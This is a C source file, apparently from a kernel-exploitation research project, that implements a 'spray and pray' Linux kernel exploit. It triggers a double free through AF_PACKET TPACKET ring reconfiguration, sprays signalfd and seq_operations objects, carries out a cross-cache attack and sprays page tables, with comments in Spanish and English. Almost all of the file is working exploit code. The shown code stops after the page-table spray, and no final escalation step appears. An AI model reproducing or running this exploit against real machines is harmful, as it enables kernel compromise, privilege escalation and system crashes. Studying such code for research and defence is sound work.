README.md
Rendering markdown...
/**
* Spray and Pray method
*
* (Option 5.a in the paper)
*
*/
#define _GNU_SOURCE
#include <sched.h>
#include <assert.h>
#include <fcntl.h>
#include <linux/if_packet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/eventfd.h>
#include <sys/ioctl.h>
#include <sys/timerfd.h>
#include <sys/signalfd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/resource.h>
#include <linux/sched.h>
#include <poll.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <errno.h>
#include "../include/exploit.h"
#include "../include/util.h"
#include "../include/signalfd_spray.h"
#include "../include/pte_spray.h"
int run_exploit()
{
int fd_s, ret, victim_fd;
uint32_t block_s = PAGE, frame_s = PAGE / 2;
int *fds0, *fds1,*fd_seq;
int initial_spray_size = (16 * 256); // any multiple of 32 (obj_per_slab)
printf("\n\n[+] Starting explotation\n");
pin_cpu(0);
// Allocating large memory region for future PTE spray
void *base = mmap_align(PGT_SRAY_SIZE);
if ((fd_s = socket(AF_PACKET, SOCK_RAW, 0)) < 0)
fprintf(stderr, "Error while creating socket: %d\n", fd_s);
// PACKET_V3
if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3}, sizeof(int))) < 0)
fprintf(stderr, "Error while setsockopt (V3): %d\n", ret);
/* Allocate pg_vec - kmalloc-128 */
union tpacket_req_u treq = {};
treq.req3.tp_block_size = block_s; // 4096
treq.req3.tp_block_nr = TARGET_SIZE / 8; // tp_block_nr * 8 sera el tamano del kmalloc a atacar
treq.req3.tp_frame_size = block_s; // 2048
treq.req3.tp_frame_nr = TARGET_SIZE / 8;
treq.req3.tp_retire_blk_tov = 0xffffffff; // You only get to do what ever you want for around 1h 10mins, then the kernel panics // this line is from terawhiz exploit
// pre allocations (to get a free empty slab)
fds0 = alloc_signalfd_serial(0, initial_spray_size); // objPerSlab(16 en kmalloc-256) * X active slab (exactly one page)
free_signalfd(fds0, initial_spray_size);
if ((setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() execution
fprintf(stderr, "Error while setsockopt RX RING (V3): %d\n", ret);
// 1st free: tp_block_nr to 0
memset(&treq, 0, sizeof(union tpacket_req_u));
if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring()
fprintf(stderr, "Error while putting rx_owner_map to 0. Error: %d\n", ret);
// Ocupamos el pg_vec liberado con signal_ctx
fds1 = alloc_signalfd_serial(0, SPRAY_SIZE);
// Switch to TPACKET_V2
if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2}, sizeof(int))) < 0)
fprintf(stderr, "Error while setsockopt (V2): %d\n", ret);
/* 2nd free: kmalloc-128 */
// memset(&treq, 0, sizeof(treq));
treq.req3.tp_block_size = block_s;
treq.req3.tp_block_nr = 1;
treq.req3.tp_frame_size = block_s;
treq.req3.tp_frame_nr = 1;
if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring()
{
perror("setsockopt rx ring v2");
fprintf(stderr, "Error while setsockopt RX RING (V2): %d\n", ret);
}
printf("\nSpraying seq_operations objects...\n");
// trying to catch the freed signal_ctx (overlap with seq_operations)
fd_seq = spray_seq_operations(SPRAY_SIZE);
// encontrar fd de signal_ctx liberado
victim_fd = leak_signal_fd_not_equal_sigmask(fds1, SPRAY_SIZE, SIGMASK_1st_SPRAY);
if (victim_fd >= 0)
{
printf("¡¡Encontrado signal_ctx en fd = %d!!\n", victim_fd);
read_fdinfo(victim_fd);
}
else
{
printf("No se encontró ningún sigmask!=0000000000002000\n");
}
fcntl(victim_fd, F_SETFD, FD_CLOEXEC);
printf("\n\nCLosin signal\n");
// cerrar signal ctx y seq_operations sobrantes: CROSS CACHE ATTACK
free_signalfd_except_victim(fds1, SPRAY_SIZE, victim_fd); // todos los del primer spray (excepto victima)
free_signalfd(fd_seq, SPRAY_SIZE); // todos los seq_operations
// Free signal_ctx al reves
/*for (int i=16000; i>0; i--)
{
if (fds1[i-1]!=victim_fd) close(fds1[i-1]);
}
check_slabinfo(); */
// Spray PTE
touch_user_ptes(base, PGT_SRAY_SIZE);
read_fdinfo(victim_fd);
read_fdinfo(victim_fd);
sleep(20);
printf("fiiiin");
// Libera la región mapeada de tablas de PTE.
//free_user_ptes(base, PGT_SRAY_SIZE);
}